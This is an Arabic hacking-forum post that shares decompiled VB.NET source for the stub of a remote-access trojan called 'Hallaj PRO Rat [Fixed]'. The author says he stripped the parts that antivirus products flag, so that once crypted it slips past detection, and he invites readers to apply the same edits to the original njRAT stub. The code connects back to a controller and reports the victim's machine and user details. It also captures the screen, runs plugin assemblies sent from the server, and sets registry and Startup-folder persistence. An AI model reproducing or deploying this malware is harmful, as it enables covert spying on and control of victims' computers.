موضوع خاص لتجاوز الدفاع الاستباقي للحمايات
السلام عليكم و رحمة الله تعالي و بركاته
هذا الموضوع لم اكن انوي طرحه و ربما يكون اخر موضوع لي هنا
دون اطالة لقد تعاملت مع ستب برنامج Hallaj PRO Rat [Fixed]
و قمت بالتخلص من الاكود التي تتحسس منها الحمايات و الان هو يتخطي كل الحمايات عند تشفيره
و خاصة النود و الافيرا و لقلة خبرتي في البرمجة لم استطع تعويض بعض الاكواد بما يناسبها فاكتفيت بحدفها
ساطرح لكم الاكواد و انتم عدلوا علي ستب انجرات الاصلي
لقد تخلصت من الكيلوجر لان هناك سطر برمجي لم اجد له بديل
الهدف من وضع هذا الموضوع هو المساعدة علي الحصول كل واحد منكم علي برنامج اختراق نقي و يتجاوز الدفاع الاستباقي
دمتم في رعاية الله و حفظه
هذا الموضوع لم اكن انوي طرحه و ربما يكون اخر موضوع لي هنا
دون اطالة لقد تعاملت مع ستب برنامج Hallaj PRO Rat [Fixed]
و قمت بالتخلص من الاكود التي تتحسس منها الحمايات و الان هو يتخطي كل الحمايات عند تشفيره
و خاصة النود و الافيرا و لقلة خبرتي في البرمجة لم استطع تعويض بعض الاكواد بما يناسبها فاكتفيت بحدفها
ساطرح لكم الاكواد و انتم عدلوا علي ستب انجرات الاصلي
C#:
Imports System
Namespace j
Public Class A
' Methods
<STAThread> _
Public Shared Sub main()
OK.ko
End Sub
End Class
End Namespace
C#:
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports Microsoft.VisualBasic.Devices
Imports Microsoft.Win32
Imports System
Imports System.Diagnostics
Imports System.Drawing
Imports System.Drawing.Imaging
Imports System.IO
Imports System.IO.Compression
Imports System.Net
Imports System.Net.Sockets
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Security.Cryptography
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Namespace j
<StandardModule> _
Friend NotInheritable Class OK
' Methods
<DebuggerStepThrough, CompilerGenerated>
Private Shared Sub _Lambda__1(ByVal a0 As Object)
OK.Ind(DirectCast(a0, Byte()))
End Sub
<DebuggerStepThrough, CompilerGenerated>
Private Shared Sub _Lambda__2(ByVal a0 As Object, ByVal a1 As SessionEndingEventArgs)
OK.ED()
End Sub
<DllImport("user32.dll", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)>
Public Shared Function GetForegroundWindow() As IntPtr
End Function
Public Shared Function ACT() As String
Dim str As String
Try
Dim foregroundWindow As IntPtr = OK.GetForegroundWindow
If (foregroundWindow = IntPtr.Zero) Then
Return ""
End If
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
str = ""
ProjectData.ClearProjectError()
End Try
Return str
End Function
<DllImport("user32.dll", EntryPoint:="GetWindowTextA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)>
Public Shared Function GetWindowText(ByVal hWnd As IntPtr, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef WinTitle As String, ByVal MaxLength As Integer) As Integer
End Function
<DllImport("user32.dll", EntryPoint:="GetWindowTextLengthA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)>
Public Shared Function GetWindowTextLength(ByVal hwnd As Long) As Integer
End Function
Public Shared Function BS(ByRef B As Byte()) As String
Return Encoding.UTF8.GetString(B)
End Function
Public Shared Function Cam() As Boolean
Try
Dim num As Integer = 0
Do
Dim lpszVer As String = Nothing
If OK.capGetDriverDescriptionA(CShort(num), Strings.Space(100), 100, lpszVer, 100) Then
Return True
End If
num += 1
Loop While (num <= 4)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
Return False
End Function
<DllImport("avicap32.dll", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function capGetDriverDescriptionA(ByVal wDriver As Short, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpszName As String, ByVal cbName As Integer, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpszVer As String, ByVal cbVer As Integer) As Boolean
End Function
Private Shared Function CompDir(ByVal F1 As FileInfo, ByVal F2 As FileInfo) As Boolean
End Function
Public Shared Function connect() As Boolean
OK.Cn = False
Thread.Sleep(&H7D0)
Dim lO As FileInfo = OK.LO
SyncLock lO
Try
If (Not OK.C Is Nothing) Then
Try
OK.C.Close()
OK.C = Nothing
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError()
End Try
End If
Try
OK.MeM.Dispose()
Catch exception6 As Exception
ProjectData.SetProjectError(exception6)
Dim exception2 As Exception = exception6
ProjectData.ClearProjectError()
End Try
Catch exception7 As Exception
ProjectData.SetProjectError(exception7)
Dim exception3 As Exception = exception7
ProjectData.ClearProjectError()
End Try
Try
OK.MeM = New MemoryStream
OK.C = New TcpClient
OK.C.ReceiveTimeout = -1
OK.C.SendTimeout = -1
OK.C.SendBufferSize = 999999
OK.C.ReceiveBufferSize = 999999
OK.C.Client.SendBufferSize = 999999
OK.C.Client.ReceiveBufferSize = 999999
OK.C.Connect(OK.H, Conversions.ToInteger(OK.P))
OK.Cn = True
OK.Send(OK.inf)
Try
Dim str As String
If Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", False) Then
str = (str & OK.DEB(OK.VN) & ChrW(13) & ChrW(10))
Else
str = (str & OK.DEB(Conversions.ToString(OK.GTV("vn", ""))) & ChrW(13) & ChrW(10))
End If
str = ((((((String.Concat(New String() {str, OK.H, ":", OK.P, ChrW(13) & ChrW(10)}) & OK.DR & ChrW(13) & ChrW(10)) & OK.EXE & ChrW(13) & ChrW(10)) & Conversions.ToString(OK.Idr) & ChrW(13) & ChrW(10)) & Conversions.ToString(OK.IsF) & ChrW(13) & ChrW(10)) & Conversions.ToString(OK.Isu) & ChrW(13) & ChrW(10)) & Conversions.ToString(OK.BD))
OK.Send(("inf" & OK.Y & OK.ENB(str)))
Catch exception8 As Exception
ProjectData.SetProjectError(exception8)
Dim exception4 As Exception = exception8
ProjectData.ClearProjectError()
End Try
Catch exception9 As Exception
ProjectData.SetProjectError(exception9)
Dim exception5 As Exception = exception9
OK.Cn = False
ProjectData.ClearProjectError()
End Try
End SyncLock
Return OK.Cn
End Function
Public Shared Function DEB(ByRef s As String) As String
End Function
Public Shared Sub DLV(ByVal n As String)
Try
OK.F.Registry.CurrentUser.OpenSubKey(("Software\" & OK.RG), True).DeleteValue(n)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub
Public Shared Sub ED()
OK.pr(0)
End Sub
Public Shared Function ENB(ByRef s As String) As String
Return Convert.ToBase64String(OK.SB(s))
End Function
<DllImport("kernel32", EntryPoint:="GetVolumeInformationA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
Private Shared Function GetVolumeInformation(<MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpRootPathName As String, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, ByRef lpVolumeSerialNumber As Integer, ByRef lpMaximumComponentLength As Integer, ByRef lpFileSystemFlags As Integer, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Integer) As Integer
End Function
Public Shared Function GTV(ByVal n As String, ByVal ret As Object) As Object
Dim obj2 As Object
Try
obj2 = OK.F.Registry.CurrentUser.OpenSubKey(("Software\" & OK.RG)).GetValue(n, RuntimeHelpers.GetObjectValue(ret))
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
obj2 = ret
ProjectData.ClearProjectError
End Try
Return obj2
End Function
Public Shared Function HWD() As String
Dim str As String
Try
Dim num As Integer
Dim lpVolumeNameBuffer As String = Nothing
Dim lpMaximumComponentLength As Integer = 0
Dim lpFileSystemFlags As Integer = 0
Dim lpFileSystemNameBuffer As String = Nothing
OK.GetVolumeInformation((Interaction.Environ("SystemDrive") & "\"), lpVolumeNameBuffer, 0, num, lpMaximumComponentLength, lpFileSystemFlags, lpFileSystemNameBuffer, 0)
str = Conversion.Hex(num)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception
str = "ERR"
ProjectData.ClearProjectError
End Try
Return str
End Function
Public Shared Sub Ind(ByVal b As Byte())
Dim strArray As String() = Strings.Split(OK.BS(b), OK.Y, -1, CompareMethod.Binary)
Try
Dim buffer As Byte()
Dim str4 As String = strArray(0)
Select Case str4
Case "ll"
OK.Cn = False
Return
Case "kl"
Return
Case "prof"
Select Case strArray(1)
Case "~"
OK.STV(strArray(2), strArray(3), RegistryValueKind.String)
Exit Select
Case "!"
OK.STV(strArray(2), strArray(3), RegistryValueKind.String)
OK.Send(Conversions.ToString(Operators.ConcatenateObject((("getvalue" & OK.Y) & strArray(1) & OK.Y), OK.GTV(strArray(1), ""))))
Exit Select
Case "@"
OK.DLV(strArray(2))
Exit Select
End Select
Return
End Select
If (str4 <> "rn") Then
GoTo Label_0294
End If
If (strArray(2).Chars(0) = ChrW(31)) Then
Try
Dim stream As New MemoryStream
Dim length As Integer = (strArray(0) & OK.Y & strArray(1) & OK.Y).Length
stream.Write(b, length, (b.Length - length))
buffer = OK.Z(stream.ToArray)
GoTo Label_020B
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
OK.Send(("MSG" & OK.Y & "Execute ERROR"))
OK.Send("bla")
ProjectData.ClearProjectError()
Return
End Try
End If
Label_020B:
OK.Send("bla")
Label_0294:
Select Case str4
Case "inv"
Dim t As Byte() = DirectCast(OK.GTV(strArray(1), New Byte(0 - 1) {}), Byte())
If ((strArray(3).Length < 10) And (t.Length = 0)) Then
OK.Send(String.Concat(New String() {"pl", OK.Y, strArray(1), OK.Y, Conversions.ToString(1)}))
Else
If (strArray(3).Length > 10) Then
Dim stream2 As New MemoryStream
Dim offset As Integer = String.Concat(New String() {strArray(0), OK.Y, strArray(1), OK.Y, strArray(2), OK.Y}).Length
stream2.Write(b, offset, (b.Length - offset))
t = OK.Z(stream2.ToArray)
OK.STV(strArray(1), t, RegistryValueKind.Binary)
End If
OK.Send(String.Concat(New String() {"pl", OK.Y, strArray(1), OK.Y, Conversions.ToString(0)}))
Dim objectValue As Object = RuntimeHelpers.GetObjectValue(OK.Plugi(t, "A"))
NewLateBinding.LateSet(objectValue, Nothing, "h", New Object() {OK.H}, Nothing, Nothing)
NewLateBinding.LateSet(objectValue, Nothing, "p", New Object() {OK.P}, Nothing, Nothing)
NewLateBinding.LateSet(objectValue, Nothing, "osk", New Object() {strArray(2)}, Nothing, Nothing)
NewLateBinding.LateCall(objectValue, Nothing, "start", New Object(0 - 1) {}, Nothing, Nothing, Nothing, True)
Do While Not Conversions.ToBoolean(Operators.OrObject(Not OK.Cn, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, Nothing, "Off", New Object(0 - 1) {}, Nothing, Nothing, Nothing), True, False)))
Thread.Sleep(1)
Loop
NewLateBinding.LateSet(objectValue, Nothing, "off", New Object() {True}, Nothing, Nothing)
End If
Return
Case "ret"
Dim buffer3 As Byte() = DirectCast(OK.GTV(strArray(1), New Byte(0 - 1) {}), Byte())
If ((strArray(2).Length < 10) And (buffer3.Length = 0)) Then
OK.Send(String.Concat(New String() {"pl", OK.Y, strArray(1), OK.Y, Conversions.ToString(1)}))
Else
If (strArray(2).Length > 10) Then
Dim stream3 As New MemoryStream
Dim num3 As Integer = (strArray(0) & OK.Y & strArray(1) & OK.Y).Length
stream3.Write(b, num3, (b.Length - num3))
buffer3 = OK.Z(stream3.ToArray)
OK.STV(strArray(1), buffer3, RegistryValueKind.Binary)
End If
OK.Send(String.Concat(New String() {"pl", OK.Y, strArray(1), OK.Y, Conversions.ToString(0)}))
Dim instance As Object = RuntimeHelpers.GetObjectValue(OK.Plugi(buffer3, "A"))
OK.Send(String.Concat(New String() {"ret", OK.Y, strArray(1), OK.Y, OK.ENB(Conversions.ToString(NewLateBinding.LateGet(instance, Nothing, "GT", New Object(0 - 1) {}, Nothing, Nothing, Nothing)))}))
End If
Return
Case "CAP"
Dim bounds As Rectangle = Screen.PrimaryScreen.Bounds
Dim image As New Bitmap(Screen.PrimaryScreen.Bounds.Width, bounds.Height, PixelFormat.Format16bppRgb555)
Dim g As Graphics = Graphics.FromImage(image)
Dim blockRegionSize As New Size(image.Width, image.Height)
g.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy)
Try
blockRegionSize = New Size(&H20, &H20)
bounds = New Rectangle(Cursor.Position, blockRegionSize)
Cursors.Default.Draw(g, bounds)
Catch exception12 As Exception
ProjectData.SetProjectError(exception12)
Dim exception4 As Exception = exception12
ProjectData.ClearProjectError()
End Try
g.Dispose()
Dim bitmap2 As New Bitmap(Conversions.ToInteger(strArray(1)), Conversions.ToInteger(strArray(2)))
g = Graphics.FromImage(bitmap2)
g.DrawImage(image, 0, 0, bitmap2.Width, bitmap2.Height)
g.Dispose()
Dim stream4 As New MemoryStream
b = OK.SB(("CAP" & OK.Y))
stream4.Write(b, 0, b.Length)
Dim stream5 As New MemoryStream
bitmap2.Save(stream5, ImageFormat.Jpeg)
Dim str2 As String = OK.md5(stream5.ToArray)
If (str2 <> OK.lastcap) Then
OK.lastcap = str2
stream4.Write(stream5.ToArray, 0, CInt(stream5.Length))
Else
stream4.WriteByte(0)
End If
OK.Sendb(stream4.ToArray)
stream4.Dispose()
stream5.Dispose()
image.Dispose()
bitmap2.Dispose()
Return
Case "un"
Select Case strArray(1)
Case "~"
OK.UNS()
Exit Select
Case "!"
OK.pr(0)
ProjectData.EndApp()
Exit Select
Case "@"
OK.pr(0)
Process.Start(OK.LO.FullName)
ProjectData.EndApp()
Exit Select
End Select
Return
End Select
If (str4 <> "up") Then
GoTo Label_0A1C
End If
Dim bytes As Byte() = Nothing
If (strArray(1).Chars(0) = ChrW(31)) Then
Try
Dim stream6 As New MemoryStream
Dim num4 As Integer = (strArray(0) & OK.Y).Length
stream6.Write(b, num4, (b.Length - num4))
bytes = OK.Z(stream6.ToArray)
GoTo Label_097B
Catch exception13 As Exception
ProjectData.SetProjectError(exception13)
Dim exception5 As Exception = exception13
OK.Send(("MSG" & OK.Y & "Update ERROR"))
OK.Send("bla")
ProjectData.ClearProjectError()
Return
End Try
End If
Label_097B:
OK.Send("bla")
OK.UNS()
Return
Label_0A1C:
If (str4 = "Ex") Then
If (OK.PLG Is Nothing) Then
OK.Send("PLG")
Dim num5 As Integer = 0
Do While Not (((Not OK.PLG Is Nothing) Or (num5 = 20)) Or Not OK.Cn)
num5 += 1
Thread.Sleep(&H3E8)
Loop
If ((OK.PLG Is Nothing) Or Not OK.Cn) Then
Return
End If
End If
Dim arguments As Object() = New Object() {b}
Dim copyBack As Boolean() = New Boolean() {True}
NewLateBinding.LateCall(OK.PLG, Nothing, "ind", arguments, Nothing, Nothing, copyBack, True)
If copyBack(0) Then
b = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Byte())), Byte())
End If
ElseIf (str4 = "PLG") Then
Dim stream7 As New MemoryStream
Dim num6 As Integer = (strArray(0) & OK.Y).Length
stream7.Write(b, num6, (b.Length - num6))
OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugi(OK.Z(stream7.ToArray), "A"))
NewLateBinding.LateSet(OK.PLG, Nothing, "H", New Object() {OK.H}, Nothing, Nothing)
NewLateBinding.LateSet(OK.PLG, Nothing, "P", New Object() {OK.P}, Nothing, Nothing)
NewLateBinding.LateSet(OK.PLG, Nothing, "c", New Object() {OK.C}, Nothing, Nothing)
End If
Catch exception16 As Exception
ProjectData.SetProjectError(exception16)
Dim exception8 As Exception = exception16
If ((strArray.Length > 0) AndAlso ((strArray(0) = "Ex") Or (strArray(0) = "PLG"))) Then
OK.PLG = Nothing
End If
Try
OK.Send(String.Concat(New String() {"ER", OK.Y, strArray(0), OK.Y, exception8.Message}))
Catch exception17 As Exception
ProjectData.SetProjectError(exception17)
Dim exception9 As Exception = exception17
ProjectData.ClearProjectError()
End Try
ProjectData.ClearProjectError()
End Try
End Sub
Public Shared Function inf() As String
Dim str2 As String = ("ll" & OK.Y)
Try
If Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", False) Then
str2 = (str2 & OK.ENB((OK.DEB(OK.VN) & "_" & OK.HWD)) & OK.Y)
Else
str2 = (str2 & OK.ENB((OK.DEB(Conversions.ToString(OK.GTV("vn", ""))) & "_" & OK.HWD)) & OK.Y)
End If
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
str2 = (str2 & OK.ENB(OK.HWD) & OK.Y)
ProjectData.ClearProjectError
End Try
Try
str2 = (str2 & Environment.MachineName & OK.Y)
Catch exception9 As Exception
ProjectData.SetProjectError(exception9)
Dim exception2 As Exception = exception9
str2 = (str2 & "??" & OK.Y)
ProjectData.ClearProjectError
End Try
Try
str2 = (str2 & Environment.UserName & OK.Y)
Catch exception10 As Exception
ProjectData.SetProjectError(exception10)
Dim exception3 As Exception = exception10
str2 = (str2 & "??" & OK.Y)
ProjectData.ClearProjectError
End Try
Try
str2 = (str2 & OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") & OK.Y)
Catch exception11 As Exception
ProjectData.SetProjectError(exception11)
Dim exception4 As Exception = exception11
str2 = (str2 & "??-??-??" & OK.Y)
ProjectData.ClearProjectError
End Try
str2 = (str2 & "" & OK.Y)
Try
str2 = (str2 & OK.F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win"))
Catch exception12 As Exception
ProjectData.SetProjectError(exception12)
Dim exception5 As Exception = exception12
str2 = (str2 & "??")
ProjectData.ClearProjectError
End Try
str2 = (str2 & "SP")
Try
Dim strArray As String() = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary)
If (strArray.Length = 1) Then
str2 = (str2 & "0")
End If
str2 = (str2 & strArray((strArray.Length - 1)))
Catch exception13 As Exception
ProjectData.SetProjectError(exception13)
Dim exception6 As Exception = exception13
str2 = (str2 & "0")
ProjectData.ClearProjectError
End Try
Try
If Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86") Then
str2 = (str2 & " x64" & OK.Y)
Else
str2 = (str2 & " x86" & OK.Y)
End If
Catch exception14 As Exception
ProjectData.SetProjectError(exception14)
Dim exception7 As Exception = exception14
str2 = (str2 & OK.Y)
ProjectData.ClearProjectError
End Try
If OK.Cam Then
str2 = (str2 & "Yes" & OK.Y)
Else
str2 = (str2 & "No" & OK.Y)
End If
str2 = (((str2 & OK.VR & OK.Y) & ".." & OK.Y) & OK.ACT & OK.Y)
Dim str3 As String = ""
Try
Dim str4 As String
For Each str4 In OK.F.Registry.CurrentUser.CreateSubKey(("Software\" & OK.RG), RegistryKeyPermissionCheck.Default).GetValueNames
If (str4.Length = &H20) Then
str3 = (str3 & str4 & ",")
End If
Next
Catch exception15 As Exception
ProjectData.SetProjectError(exception15)
Dim exception8 As Exception = exception15
ProjectData.ClearProjectError
End Try
Return (str2 & str3)
End Function
Public Shared Sub INS()
Thread.Sleep(&H3E8)
If (OK.Idr AndAlso Not OK.CompDir(OK.LO, New FileInfo((Interaction.Environ(OK.DR).ToLower & "\" & OK.EXE.ToLower)))) Then
Try
If File.Exists((Interaction.Environ(OK.DR) & "\" & OK.EXE)) Then
File.Delete((Interaction.Environ(OK.DR) & "\" & OK.EXE))
End If
Dim stream As New FileStream((Interaction.Environ(OK.DR) & "\" & OK.EXE), FileMode.CreateNew)
stream.Flush()
stream.Close()
OK.LO = New FileInfo((Interaction.Environ(OK.DR) & "\" & OK.EXE))
ProjectData.EndApp()
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.EndApp()
ProjectData.ClearProjectError()
End Try
End If
Try
Catch exception7 As Exception
ProjectData.SetProjectError(exception7)
Dim exception2 As Exception = exception7
ProjectData.ClearProjectError()
End Try
Try
Catch exception8 As Exception
ProjectData.SetProjectError(exception8)
Dim exception3 As Exception = exception8
ProjectData.ClearProjectError()
End Try
If OK.Isu Then
Try
OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, True).SetValue(OK.RG, ("""" & """ .."))
Catch exception9 As Exception
ProjectData.SetProjectError(exception9)
Dim exception4 As Exception = exception9
ProjectData.ClearProjectError()
End Try
Try
OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, True).SetValue(OK.RG, ("""" & """ .."))
Catch exception10 As Exception
ProjectData.SetProjectError(exception10)
Dim exception5 As Exception = exception10
ProjectData.ClearProjectError()
End Try
End If
If OK.IsF Then
Try
OK.FS = New FileStream((Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & OK.RG & ".exe"), FileMode.Open)
Catch exception11 As Exception
ProjectData.SetProjectError(exception11)
Dim exception6 As Exception = exception11
ProjectData.ClearProjectError()
End Try
End If
End Sub
Public Shared Sub ko()
Dim h As New Thread(New ThreadStart(AddressOf OK.RC), 1)
h.Start()
End Sub
Public Shared Function md5(ByVal B As Byte()) As String
B = New MD5CryptoServiceProvider().ComputeHash(B)
Dim str2 As String = ""
Dim num As Byte
For Each num In B
str2 = (str2 & num.ToString("x2"))
Next
Return str2
End Function
Public Shared Function Plugi(ByVal b As Byte(), ByVal c As String) As Object
Dim [module] As [Module]
For Each [module] In Assembly.Load(b).GetModules
Dim type As Type
For Each type In [module].GetTypes
If type.FullName.EndsWith(("." & c)) Then
Return [module].Assembly.CreateInstance(type.FullName)
End If
Next
Next
Return Nothing
End Function
Public Shared Sub pr(ByVal i As Integer)
End Sub
Public Shared Sub RC()
Label_0000:
OK.lastcap = ""
If (Not OK.C Is Nothing) Then
Dim num As Long = -1
Dim num2 As Integer = 0
Try
Label_001B:
num2 += 1
If (num2 = 10) Then
num2 = 0
Thread.Sleep(1)
End If
If Not OK.Cn Then
goto Label_01C1
End If
If (OK.C.Available < 1) Then
OK.C.Client.Poll(-1, SelectMode.SelectRead)
End If
Label_0057:
If (OK.C.Available > 0) Then
If (num = -1) Then
Dim str As String = ""
Do While True
Dim charCode As Integer = OK.C.GetStream.ReadByte
Select Case charCode
Case -1
goto Label_01C1
Case 0
num = Conversions.ToLong(str)
str = ""
If (num = 0) Then
OK.Send("")
num = -1
End If
If (OK.C.Available <= 0) Then
goto Label_001B
End If
goto Label_0057
End Select
str = (str & Conversions.ToString(Conversions.ToInteger(Strings.ChrW(charCode).ToString)))
Loop
End If
OK.b = New Byte((OK.C.Available + 1) - 1) {}
Dim num5 As Long = (num - OK.MeM.Length)
If (OK.b.Length > num5) Then
OK.b = New Byte((CInt((num5 - 1)) + 1) - 1) {}
End If
Dim count As Integer = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None)
OK.MeM.Write(OK.b, 0, count)
If (OK.MeM.Length = num) Then
num = -1
Dim thread As New Thread(New ParameterizedThreadStart(AddressOf OK._Lambda__1), 1)
thread.Start(OK.MeM.ToArray)
thread.Join(100)
OK.MeM.Dispose
OK.MeM = New MemoryStream
End If
goto Label_001B
End If
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End If
Label_01C1:
Try
If (Not OK.PLG Is Nothing) Then
NewLateBinding.LateCall(OK.PLG, Nothing, "clear", New Object(0 - 1) {}, Nothing, Nothing, Nothing, True)
OK.PLG = Nothing
End If
Catch exception3 As Exception
ProjectData.SetProjectError(exception3)
Dim exception2 As Exception = exception3
ProjectData.ClearProjectError
End Try
OK.Cn = False
If Not OK.connect Then
goto Label_01C1
End If
OK.Cn = True
goto Label_0000
End Sub
Public Shared Function SB(ByRef S As String) As Byte()
Return Encoding.UTF8.GetBytes(S)
End Function
Public Shared Function Send(ByVal S As String) As Boolean
Return OK.Sendb(OK.SB(S))
End Function
Public Shared Function Sendb(ByVal b As Byte()) As Boolean
If Not OK.Cn Then
Return False
End If
Try
Dim lO As FileInfo = OK.LO
SyncLock lO
If Not OK.Cn Then
Return False
End If
Dim stream As New MemoryStream
Dim length As Integer = b.Length
Dim buffer As Byte() = OK.SB((length.ToString & ChrW(0)))
stream.Write(buffer, 0, buffer.Length)
stream.Write(b, 0, b.Length)
OK.C.Client.Send(stream.ToArray, 0, CInt(stream.Length), SocketFlags.None)
End SyncLock
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
Try
If OK.Cn Then
OK.Cn = False
OK.C.Close()
End If
Catch exception3 As Exception
ProjectData.SetProjectError(exception3)
Dim exception2 As Exception = exception3
ProjectData.ClearProjectError()
End Try
ProjectData.ClearProjectError()
End Try
Return OK.Cn
End Function
Public Shared Function STV(ByVal n As String, ByVal t As Object, ByVal typ As RegistryValueKind) As Boolean
End Function
Public Shared Sub UNS()
End Sub
Public Shared Function Z(ByVal B As Byte()) As Byte()
Dim stream2 As New MemoryStream(B)
Dim stream As New GZipStream(stream2, CompressionMode.Decompress)
Dim buffer2 As Byte() = New Byte(4 - 1) {}
stream2.Position = (stream2.Length - 5)
stream2.Read(buffer2, 0, 4)
Dim count As Integer = BitConverter.ToInt32(buffer2, 0)
stream2.Position = 0
Dim array As Byte() = New Byte(((count - 1) + 1) - 1) {}
stream.Read(array, 0, count)
stream.Dispose()
stream2.Dispose()
Return array
End Function
' Fields
Private Shared b As Byte() = New Byte(&H1401 - 1) {}
Public Shared BD As Boolean = Conversions.ToBoolean("False")
Public Shared C As TcpClient = Nothing
Public Shared Cn As Boolean = False
Public Shared DR As String = "TEMP"
Public Shared EXE As String = "server.exe"
Public Shared F As Computer = New Computer
Public Shared FS As FileStream
Public Shared H As String = "127.0.0.1"
Public Shared Idr As Boolean = Conversions.ToBoolean("False")
Public Shared IsF As Boolean = Conversions.ToBoolean("False")
Public Shared Isu As Boolean = Conversions.ToBoolean("False")
Private Shared lastcap As String = ""
Public Shared LO As FileInfo = New FileInfo(Assembly.GetEntryAssembly.Location)
Private Shared MeM As MemoryStream = New MemoryStream
Public Shared MT As Object = Nothing
Public Shared P As String = "5552"
Public Shared PLG As Object = Nothing
Public Shared RG As String = ""
Public Shared sf As String = "Software\Microsoft\Windows\"
Public Shared VN As String = "SGFjS2Vk"
Public Shared VR As String = "Hallaj PRO Rat [Fixed]"
Public Shared Y As String = "boolLove"
End Class
End Namespace
لقد تخلصت من الكيلوجر لان هناك سطر برمجي لم اجد له بديل
الهدف من وضع هذا الموضوع هو المساعدة علي الحصول كل واحد منكم علي برنامج اختراق نقي و يتجاوز الدفاع الاستباقي
دمتم في رعاية الله و حفظه